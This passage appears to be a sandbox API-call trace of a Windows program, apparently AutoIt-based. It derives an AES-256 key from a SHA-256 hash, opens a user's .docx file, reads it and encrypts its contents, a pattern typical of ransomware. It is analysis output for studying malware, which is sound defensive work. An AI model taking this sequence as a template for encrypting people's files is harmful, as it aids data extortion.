0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.940] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.940] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.940] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.941] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.941] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.941] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.941] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.942] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.942] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.942] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b5d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.943] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.943] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.943] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.943] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.943] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.943] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0023.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.944] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.944] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.944] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417aee0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0023.945] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0023.945] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0023.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.947] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\aqjehdutmjim4m.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.947] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.947] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.948] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.949] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.949] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7a77, lpOverlapped=0x0) returned 1 [0023.950] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.951] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.952] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.952] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.952] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.952] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064aa0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064aa0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.952] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.953] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.953] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.953] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.953] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.953] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.953] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x7a77, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x7a80) returned 1 [0023.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, 